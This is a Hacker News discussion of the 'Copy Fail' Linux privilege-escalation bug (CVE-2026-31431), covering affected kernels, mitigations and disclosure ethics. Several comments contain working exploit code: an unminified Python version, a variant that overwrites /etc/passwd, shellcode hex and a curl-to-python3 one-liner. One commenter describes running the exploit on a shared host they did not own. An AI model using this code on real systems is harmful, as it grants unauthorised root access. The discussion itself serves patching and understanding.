        Because it would break all setuid binaries? Same reason the Linux kernel doesn&#x27;t set no_new_privs (<a href="https:&#x2F;&#x2F;docs.kernel.org&#x2F;userspace-api&#x2F;no_new_privs.html" rel="nofollow">https:&#x2F;&#x2F;docs.kernel.org&#x2F;userspace-api&#x2F;no_new_privs.html</a>) by default.<p>As an operator you are responsible for configuring your environment correctly. I would recommend starting here: <a href="https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;" rel="nofollow">https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;</a>
        • TZubiri1 hour ago
          <a href="https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-standards&#x2F;#restricted" rel="nofollow">https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-st...</a><p>Relevant section
      • stratos1231 hour ago
        It&#x27;s equivalent to setting no_new_privs on the container process, so it&#x27;d mean you have to grant a privelege to the container process if you want any children to have access to it. It sure sounds funny in a CVE context, though.
  • giis14 hours ago
    As soon as I read this<p>&gt;Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root<p>jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.<p>Then I tested with local laptop with it:<p>```<p>$ uname -a<p>Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU&#x2F;Linux<p>$ python3 copy_fail_exp.py<p># cd &#x2F;root &amp;&amp; ls<p>bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap<p>```<p>It does provide the root access!
    • a964 hours ago
      Beware that running this kind of thing even as a test on a host you don&#x27;t own may well be a criminal offense!
      • TZubiri1 hour ago
        Everything MAY be a criminal offense. Whether it has any merit is another matter.<p>If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.
        • danparsonson1 hour ago
          You understand there&#x27;s a difference between how the law is, and how you think it should be, right? Only one of those things will actually help you in court.
    • tommy_axle2 hours ago
      Could be worse (we&#x27;ll see) as this could be a wild ride along with react2shell or some of the compromised packages as of late.
    • Joe_Cool3 hours ago
      Anyone tried in an Azure Cloud Shell?<p>Asking for a friend ;)<p>EDIT: Don&#x27;t. &quot;&#x2F;s&quot; in case not obvious.
    • m-ueberall10 hours ago
      I also tested this on an Ubuntu 24.04 (x86_64) host w&#x2F; GA kernel (&quot;6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU&#x2F;Linux&quot;) and wasn&#x27;t able to reproduce the &quot;problem&quot;, although `canonical-livepatch` tells me that there are currently &quot;no livepatches available&quot;.
  • not_your_vase21 hours ago
    Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
    • tommy_axle2 hours ago
      Go version came in handy <a href="https:&#x2F;&#x2F;github.com&#x2F;badsectorlabs&#x2F;copyfail-go" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;badsectorlabs&#x2F;copyfail-go</a> especially for systems without the very latest python (os.slice)<p>Slightly more readable Python version at <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;grenkoca&#x2F;b82281a4706e936072979acf54b608df" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;grenkoca&#x2F;b82281a4706e936072979acf54b...</a>
    • progval21 hours ago
      The binary &quot;zip&quot; isn&#x27;t the exploit, it&#x27;s the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).
    • tgies15 hours ago
      I have a C translation here that should be pretty readable <a href="https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c</a>
    • stackghost19 hours ago
      The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve&#x27;s &#x2F;bin&#x2F;sh.
      • Sophira5 hours ago
        To be specific, the zlib&#x27;d binary basically does this (except that it directly uses Linux syscalls to do so rather then C wrappers):<p><pre><code> setuid(0); execve(&quot;&#x2F;bin&#x2F;sh&quot;, NULL, NULL); exit(0);</code></pre>
  • rkeene219 hours ago
    Interestingly it fails for me because my `su` isn&#x27;t world-readable:<p><pre><code> $ stat &#x2F;bin&#x2F;su File: &#x2F;bin&#x2F;su Size: 59552 Blocks: 118 IO Block: 59904 regular file Device: 0,52 Inode: 796854 Links: 1 Access: (4711&#x2F;-rws--x--x) Uid: ( 0&#x2F; root) Gid: ( 0&#x2F; root) Access: 2023-09-18 13:23:03.117105665 -0500 Modify: 2021-02-13 05:15:56.000000000 -0600 Change: 2023-09-18 13:23:03.119105665 -0500 Birth: 2023-09-18 13:23:03.117105665 -0500 </code></pre> I&#x27;m not sure I have any setuid&#x2F;setgid binaries that are world-readable...
    • rkeene219 hours ago
      A workaround might be to make all setuid&#x2F;setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.
      • hashstring18 hours ago
        Eh, if you can pollute page caches this won’t safe you.<p>Think modifying shared libraries, ld preload, cron, I guess on some systems &#x2F;etc&#x2F;passwd even.<p>There are a lot of files readable that should definitely not be writable.
        • rkeene218 hours ago
          Fair enough -- a simpler change might be to poison &#x2F;etc&#x2F;passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC:<p><pre><code> f=g.open(&quot;&#x2F;etc&#x2F;passwd&quot;,0); e=&quot;rkeene:x:0:0:System administrator:&#x2F;root:&#x2F;run&#x2F;current-system&#x2F;sw&#x2F;bin&#x2F;bash\n&quot;.encode() ... g.system(&quot;&#x2F;run&#x2F;wrappers&#x2F;bin&#x2F;su - rkeene&quot;)</code></pre>
          • tyilo4 hours ago
            There is a PoC that does exactly that here: <a href="https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c</a>
    • zerocrates19 hours ago
      It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I&#x27;d expect sudo to be readable as an alternative.
      • rkeene218 hours ago
        My `sudo` is also not readable. Files&#x2F;directories don&#x27;t need to be readable to be executed. I can still use `su` and `sudo`.
  • tjbecker19 hours ago
    For this crowd, I highly suggest checking out the technical writeup<p><a href="https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions" rel="nofollow">https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions</a>
    • belkinpower17 hours ago
      This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.
  • skilled21 hours ago
    This looks like an extraordinary find at first glance.<p>Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
    • barbegal21 hours ago
      Yes I would imagine lots of those type of services would be vulnerable if they hadn&#x27;t updated to the latest kernel versions.
      • stackghost21 hours ago
        As of this comment, Debian Stable (&quot;Trixie&quot;, though I hate codenames) doesn&#x27;t have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such:<p><a href="https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431</a>
        • bananamogul20 hours ago
          &quot;Debian Stable (&quot;Trixie&quot;, though I hate codenames)&quot;<p>You can also call it Debian 13.
          • stackghost19 hours ago
            I choose not to call it Debian 13 because that carries less context than Stable&#x2F;Testing&#x2F;sid. I&#x27;d rather not require the user to maintain that extra metnal mapping.<p>Anyone who knows anything about this subject immediately understands what is connoted by &quot;Debian Stable&quot;. I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
            • tremon17 hours ago
              &gt; I run Trixie on most of my personal boxes and I had no idea what version number it is<p>It&#x27;s not that hard to find though:<p><pre><code> $ cat &#x2F;etc&#x2F;debian_version 13.4</code></pre>
          • cachius20 hours ago
            13.4 since 3&#x2F;14
  • dgellow21 hours ago
    That’s the most AI-written page ever made
  • 42wim1 hour ago
    I&#x27;ve (well, mostly Claude did) created a module that unloads the active AF_ALG (builtin) module and mitigates the exploit without having to reboot.<p>Tested on almalinux8&#x2F;9<p><a href="https:&#x2F;&#x2F;gist.github.com&#x2F;42wim&#x2F;2e3cc3c92333e4c2730541e6f0e03862" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;42wim&#x2F;2e3cc3c92333e4c2730541e6f0e038...</a><p>YMMV
  • bblb21 hours ago
    What is &quot;RHEL 14.3&quot;? Was this site a one shot prompt. Quality.
  • rkeene218 hours ago
    I couldn&#x27;t get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).<p>[0] <a href="https:&#x2F;&#x2F;rkeene.org&#x2F;viewer&#x2F;tmp&#x2F;copy_fail_exp.c.htm" rel="nofollow">https:&#x2F;&#x2F;rkeene.org&#x2F;viewer&#x2F;tmp&#x2F;copy_fail_exp.c.htm</a>
    • miniBill16 hours ago
      Don&#x27;t you have like, a sudo in &#x2F;run&#x2F;wrappers&#x2F;bin?<p>EDIT: Sorry, I failed at reading your message. Never mind.
  • corvad21 hours ago
    If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
    • Tuna-Fish21 hours ago
      I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.
      • Avamander20 hours ago
        Can Livepatch mitigate this or is it already? I don&#x27;t know where to look this up.
        • Tuna-Fish19 hours ago
          I used the mitigation from this CVE report to turn off AF_ALG.
    • ranger_danger18 hours ago
      As far as mainline goes, only 7.0 and up have the patch already.
  • layer821 hours ago
    Debian page: <a href="https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431</a>
    • Sohcahtoa8217 hours ago
      Oddly, the POC doesn&#x27;t work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it&#x27;s vulnerable is there, including the ability to socket(38,5,0).bind(&quot;aead&quot;, &quot;authencesn(hmac(sha256),cbc(aes))&quot;)
      • layer817 hours ago
        What kernel version is it? (`uname -r`)
        • Sohcahtoa821 hour ago
          6.1.0-44-amd64<p>Sibling comment says this version seems to be immune.
        • primoprimo44443 hours ago
          Not the OP, but I&#x27;ve tried it on Debian 12 and kernel 6.1.0-34-amd64 is vulnerable (ie. the exploit works) but 6.1.0-42-amd64 and 6.1.0-44-amd64 seem to be immune, at least for me. I have only tested the exploit as-is (with su). I do see from other comment theads here that someone had it work for them on 6.1.0-43, but I can&#x27;t yet find that kernel installed anywhere here to verify.
  • jzb21 hours ago
    This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.
    • oskarkk19 hours ago
      14.3 seems to come from some Red Hat-specific GCC version, which can be reported as &quot;gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)&quot;. See these random examples I found by googling:<p><a href="https:&#x2F;&#x2F;github.com&#x2F;anthropics&#x2F;claude-code&#x2F;issues&#x2F;40741" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;anthropics&#x2F;claude-code&#x2F;issues&#x2F;40741</a> (gcc version &quot;Red Hat 14.3&quot; included in system version at the bottom)<p><a href="https:&#x2F;&#x2F;docs.oracle.com&#x2F;en&#x2F;database&#x2F;oracle&#x2F;tuxedo&#x2F;22&#x2F;otxig&#x2F;software-requirements-red-hat-enterprise-linux-10-64-bit.html" rel="nofollow">https:&#x2F;&#x2F;docs.oracle.com&#x2F;en&#x2F;database&#x2F;oracle&#x2F;tuxedo&#x2F;22&#x2F;otxig&#x2F;s...</a>
    • bryanlarsen20 hours ago
      On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they&#x27;re cut and pasted, but the &quot;easy&quot; numbers have errors because they&#x27;re not cut and pasted.
    • tylerni719 hours ago
      ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!
      • jabwd3 hours ago
        Hope the &#x27;marketing&#x27; had the desired effect. This entire article of pure AI noise was an absolute slog to get through to get to useful information. I have no idea how you view that as positive advertising.
      • justinclift18 hours ago
        &gt; obviously marketing<p>Why marketing though?
        • tylerni717 hours ago
          because we&#x27;re a company and we want to make money to continue to fund cool research, and help our customers secure their software :)
          • otterley12 hours ago
            I don&#x27;t quibble with your wanting to make money, but you also need to invest some resources on fact-checking, proofreading, and editing your work. You can hire technical writers and marketing copy editors on an hourly basis as needed. LLMs aren&#x27;t good enough yet to produce high-quality output on their own; and the results tend to read similarly, loaded with clichés and identical turns of phrase.<p>(You&#x27;re not alone in this, BTW; I don&#x27;t mean to single you out.)
        • Sohcahtoa8217 hours ago
          Resume-driven development
          • IgorPartola17 hours ago
            I would rather people who find this kind of stuff pad their resumes and get coolness points on HN than sell this exploit on the black market. But your priorities may be different and you might prefer they do the latter.
            • 0x00cl14 hours ago
              This is just a false dichotomy. Sure researches want money, credit but not at the cost of harming users or doing illegal things.
      • cozzyd15 hours ago
        yeah, I assumed the whole thing was AI slop when I saw EL14...
    • tjbecker12 hours ago
      <a href="https:&#x2F;&#x2F;x.com&#x2F;i&#x2F;status&#x2F;2049687923814281351" rel="nofollow">https:&#x2F;&#x2F;x.com&#x2F;i&#x2F;status&#x2F;2049687923814281351</a><p>&gt; and yes, RHEL 14.3 doesn&#x27;t exist We meant to say RHEL 10.1. Sorry for the confusion!
    • rdtsc21 hours ago
      [flagged]
      • tptacek21 hours ago
        I have no idea about this page, but Theori&#x2F;Xint has a staff of veterans, they are a serious thing.
        • rdtsc21 hours ago
          The fact that they have no idea RHEL 14, probably the most well known enterprise distro, is not a thing, and yet they &quot;directly verified on it&quot; casts some doubt on seriousness.
          • stackghost20 hours ago
            Is it more likely they have no idea what version RHEL is on, or that it&#x27;s just a typo?
          • tptacek20 hours ago
            I don&#x27;t know what to tell you. I&#x27;m sure you have them dead to rights on Linux distro knowledge reliability, but the exploit here is real, and the vulnerability researchers they have on staff are also real. Xint is not generally a slop factory.<p>It&#x27;s ironic that the one thing LLMs can&#x27;t do reliably in this space is &quot;write copy for humans&quot; (I don&#x27;t trust them for that either).
            • JeremyNT19 hours ago
              Honestly I feel like a coding agent review would have caught this issue. I guess if you want to vibe-code your branded CVE web site it&#x27;s not a bad idea to at least mash &#x2F;review at the end.<p>Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that&#x27;s not uncommon for security researchers?
        • 0x019 hours ago
          Dropping a public exploit on github before distros have patches available isn&#x27;t very cool, or is that just how veterans roll these days?
          • tptacek19 hours ago
            There is no one accepted set of norms on disclosure. Any strategy you take, someone will criticize.
          • akerl_19 hours ago
            I don’t know if “cool” is the word I’d use, but there isn’t an established “right” way to disclose a vulnerability that you found outside of a contracted security review or other employment&#x2F;contracting arrangement.
          • john_strinlai17 hours ago
            mainline was patched a month ago
  • archon8109 hours ago
    <p><pre><code> curl https:&#x2F;&#x2F;copy.fail&#x2F;exp | python3 &amp;&amp; su Traceback (most recent call last): File &quot;&lt;stdin&gt;&quot;, line 9, in &lt;module&gt; File &quot;&lt;stdin&gt;&quot;, line 5, in c AttributeError: module &#x27;os&#x27; has no attribute &#x27;splice&#x27; </code></pre> Does this mean I&#x27;m not affected or it&#x27;s a buggy script?<p>Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
    • z3n1th7 hours ago
      It is trivial to re-write splice, just because the PoC uses it does not mean you&#x27;re &quot;not affected&quot;.
    • orlp9 hours ago
      What is your Python version? Splice was added in 3.10.<p><a href="https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;os.html#os.splice" rel="nofollow">https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;os.html#os.splice</a>
  • rany_21 hours ago
    Could this be used to root Android devices? Does Android ship with algif_aead?
    • alufers19 hours ago
      I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).<p>Unfortunately it fails on calling bind() on my device, so probalby Android doesn&#x27;t ship with that kenrel module by default :(. So no freedom for my $40 phone.<p>Putting it out here, maybe somebody else will have better luck.<p>[1] <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;alufers&#x2F;921cd6c4b606c5014d6cc61eefb080fe" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;alufers&#x2F;921cd6c4b606c5014d6cc61eefb0...</a>
      • alufers18 hours ago
        Update: Checking the kernel config indeed confirms this.<p><pre><code> adb shell zcat &#x2F;proc&#x2F;config.gz | grep CONFIG_CRYPTO_USER_API # CONFIG_CRYPTO_USER_API_HASH is not set # CONFIG_CRYPTO_USER_API_SKCIPHER is not set # CONFIG_CRYPTO_USER_API_RNG is not set # CONFIG_CRYPTO_USER_API_AEAD is not set</code></pre>
    • notpushkin21 hours ago
      I’ve poked around on my phone and it didn’t work:<p><pre><code> File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;home&#x2F;a.py&quot;, line 5, in c a=s.socket(38,5,0); # ... File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;usr&#x2F;lib&#x2F;python3.13&#x2F;socket.py&quot;, line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ PermissionError: [Errno 13] Permission denied</code></pre>
      • int0x2920 hours ago
        I got line 5 to run and failed on line 8 due to lack of su. I&#x27;d need to find a user accessible setuid binary for it to work.<p>Traceback (most recent call last): File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;home&#x2F;exploit.py&quot;, line 8, in &lt;module&gt; f=g.open(&quot;&#x2F;usr&#x2F;bin&#x2F;su&quot;,0);i=0;e=zlib.decompress(d(&quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&quot;)) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: &#x27;&#x2F;usr&#x2F;bin&#x2F;su&#x27;
        • notpushkin20 hours ago
          Try &#x2F;system&#x2F;bin&#x2F;ping
          • int0x2920 hours ago
            Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called<p>Traceback (most recent call last): File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;home&#x2F;exploit.py&quot;, line 9, in &lt;module&gt; while i&lt;len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;home&#x2F;exploit.py&quot;, line 5, in c a=s.socket(38,5,0);a.bind((&quot;aead&quot;,&quot;authencesn(hmac(sha256),cbc(aes))&quot;));h=279;v=a.setsockopt;v(h,1,d(&#x27;0800010000000010&#x27;+&#x27;0&#x27;<i>64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(&#x27;00&#x27;);u.sendmsg([b&quot;A&quot;</i>4+c],[(h,3,i<i>4),(h,2,b&#x27;\x10&#x27;+i</i>19),(h,4,b&#x27;\x08&#x27;+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File &quot;&#x2F;data&#x2F;data&#x2F;com.termux&#x2F;files&#x2F;usr&#x2F;lib&#x2F;python3.12&#x2F;socket.py&quot;, line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
            • fragmede17 hours ago
              PoC is also x86_64 only and not arm.
              • tgies15 hours ago
                fixed: <a href="https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c</a>
                • notpushkin7 hours ago
                  Thanks! Will give it a try a bit later.<p>(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)<p>---<p>Edit: naturally, no luck:<p><pre><code> $ .&#x2F;exploit &#x2F;system&#x2F;bin&#x2F;ping [+] target: &#x2F;system&#x2F;bin&#x2F;ping [+] payload: 2112 bytes (528 iterations) socket(AF_ALG): Permission denied patch_chunk failed at offset 0 </code></pre> Guess AF_ALG is just disabled on Android kernel builds. Though maybe it’ll work on other devices!
    • tripdout20 hours ago
      There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.
      • angry_octet17 hours ago
        You don&#x27;t need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
    • zb321 hours ago
      Android is smarter than setuid + system partitions aren&#x27;t writable.
      • firer20 hours ago
        System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.<p>Not using setuid anywhere means you&#x27;d have to build a slightly more clever exploit, but it&#x27;s still trivial - just modify some binary you know will run as root &quot;soon&quot;.<p>But... I didn&#x27;t check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can&#x27;t directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
        • int0x2920 hours ago
          Edit: Ignore this I overlooked calling order. It is indeed blocked<p>~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I&#x27;m not sure the last but is true~~
        • zb320 hours ago
          Ah, I blindly assumed such memory would be mapped readonly...
      • int0x2921 hours ago
        Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don&#x27;t think buffer overruns follow permissions.
        • zb320 hours ago
          I assumed such memory would be mapped readonly (PROT_READ), without actually looking into it..
  • commandersaki15 hours ago
    Tried this on my arch VPS which has a few users that hasn&#x27;t been rebooted for 122 days.<p>Got:<p><pre><code> OSError: [Errno 97] Address family not supported by protocol </code></pre> I guess AF_ALG is not part of the Arch Linux LTS kernel?<p>Edit:<p>Looks like on Arch you have to go out of your way to have this enabled.<p><pre><code> $ zcat &#x2F;proc&#x2F;config.gz | grep CONFIG_CRYPTO_USER_API CONFIG_CRYPTO_USER_API=m CONFIG_CRYPTO_USER_API_HASH=m CONFIG_CRYPTO_USER_API_SKCIPHER=m CONFIG_CRYPTO_USER_API_RNG=m # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set CONFIG_CRYPTO_USER_API_AEAD=m # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set $ uname -r 6.12.63-1-lts</code></pre>
    • sltkr13 hours ago
      On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).
      • commandersaki13 hours ago
        Yeah I think maybe it loads the module on demand. The problem is I&#x27;ve upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I&#x27;m guessing if I had my running kernel modules directory it would on demand load and I&#x27;d get root.
  • tgies15 hours ago
    The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: <a href="https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;tgies&#x2F;copy-fail-c</a>
  • smlacy20 hours ago
    The fetishism of &quot;byte count&quot; (here, as &quot;732 byte python script&quot;) needs to stop, especially when in a context like this where they&#x27;re trying to illustrate a real failure modality.<p>Looking at their source code [1] it starts with this simple line:<p>import os as g,zlib,socket as s<p>And already I&#x27;m perplexed. &quot;os as g&quot;? but we&#x27;re not aliasing &quot;zlib as z&quot;? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author&#x2F;reviewer, I would never write &quot;os as g&quot; and I would absolutely never approve review of any code that used this.<p>Anyway, I could go on. :) Let&#x27;s just stop fetishizing byte count<p>[1] <a href="https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;blob&#x2F;main&#x2F;copy_fail_exp.py" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;blob&#x2F;m...</a>
    • vitus18 hours ago
      Hilariously, &quot;os as g&quot; adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And &quot;socket as s&quot; comes out even.<p>If you wanted real savings, you&#x27;d use &quot;d=bytes.fromhex&quot; instead of defining a function -- 17 bytes!! And d(&#x27;00&#x27;) -&gt; b&#x27;\0&#x27; for -2 bytes.<p>We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we&#x27;re optimizing a meaningless metric, as you mention.
    • tptacek20 hours ago
      I don&#x27;t get the 732-byte thing either and while I think it&#x27;s a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.<p>But the fact that it&#x27;s not a kernel-exec LPE and it&#x27;s reliable across kernels and distributions is important; it&#x27;s close to the maximum &quot;exploitability&quot; you&#x27;re going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
      • tylerni719 hours ago
        yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.<p>But the bug is real and people should patch :)<p>For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it&#x27;ll fingerprint and then look up details to work. This is much smaller because it doesn&#x27;t need any of that, which is important for severity. (I agree the &quot;golf&quot; nature is a bit of an aside, kind of like pwn2own exploits taking &quot;10 seconds&quot;)
    • debo_20 hours ago
      I don&#x27;t see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said &quot;we can do it in 3 lines of python&quot; or &quot;the Shannon entropy of the script implementing the exploit is really small&quot; and I would have interpreted it similarly.<p>Where do you see this &quot;fetishizing&quot; happening most often? It&#x27;s a strange thing to counter-fetishize about.
      • layer819 hours ago
        &gt; I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.<p>From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.<p>And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
        • debo_17 hours ago
          Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I&#x27;m a crap mathematician, but I believe that is a fundamental concept in information theory.
          • layer817 hours ago
            But it isn’t compressed size, the compressed part is only 180 bytes of the 732.
            • debo_16 hours ago
              Ah, got it. Thank you.
    • xmcp12316 hours ago
      Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.<p>Assuming AI was correct, it unpacks more or less like this<p>import os, zlib, socket<p>AF_ALG = 38<p>SOCK_SEQPACKET = 5<p>SOL_ALG = 279<p>def hex_bytes(x):<p><pre><code> return bytes.fromhex(x) </code></pre> def trigger(fd, offset, patch4):<p><pre><code> sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0) sock.bind((&quot;aead&quot;, &quot;authencesn(hmac(sha256),cbc(aes))&quot;)) sock.setsockopt(SOL_ALG, 1, hex_bytes(&quot;0800010000000010&quot; + &quot;0&quot; * 64)) sock.setsockopt(SOL_ALG, 5, None, 4) op, _ = sock.accept() length = offset + 4 zero = b&quot;\x00&quot; op.sendmsg( [b&quot;A&quot; * 4 + patch4], [ (SOL_ALG, 3, zero * 4), (SOL_ALG, 2, b&quot;\x10&quot; + zero * 19), (SOL_ALG, 4, b&quot;\x08&quot; + zero * 3), ], 32768, ) read_pipe, write_pipe = os.pipe() os.splice(fd, write_pipe, length, offset_src=0) os.splice(read_pipe, op.fileno(), length) try: op.recv(8 + offset) except: pass </code></pre> target = os.open(&quot;&#x2F;usr&#x2F;bin&#x2F;su&quot;, os.O_RDONLY)<p>payload = zlib.decompress(bytes.fromhex(&quot;...&quot;))<p>offset = 0<p>while offset &lt; len(payload):<p><pre><code> trigger(target, offset, payload[offset:offset + 4]) offset += 4 </code></pre> os.system(&quot;su&quot;)
    • tensegrist19 hours ago
      llms <i>love</i> that though<p>&quot;The honest solution: a clean 50-line cut&quot; and so on, ad nauseam
    • rts_cts19 hours ago
      I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it&#x27;s actually readable. The heart of it also includes an encoded zlib compressed blob that&#x27;s 180 bytes long (&#x27;78daab77...&#x27;). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
    • embedding-shape20 hours ago
      &gt; I would absolutely never approve review of any code that used this.<p>How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you&#x27;ve faced this a lot.<p>I always thought code quality mattered less in those, as long as you communicate the intent.
      • Xirdus20 hours ago
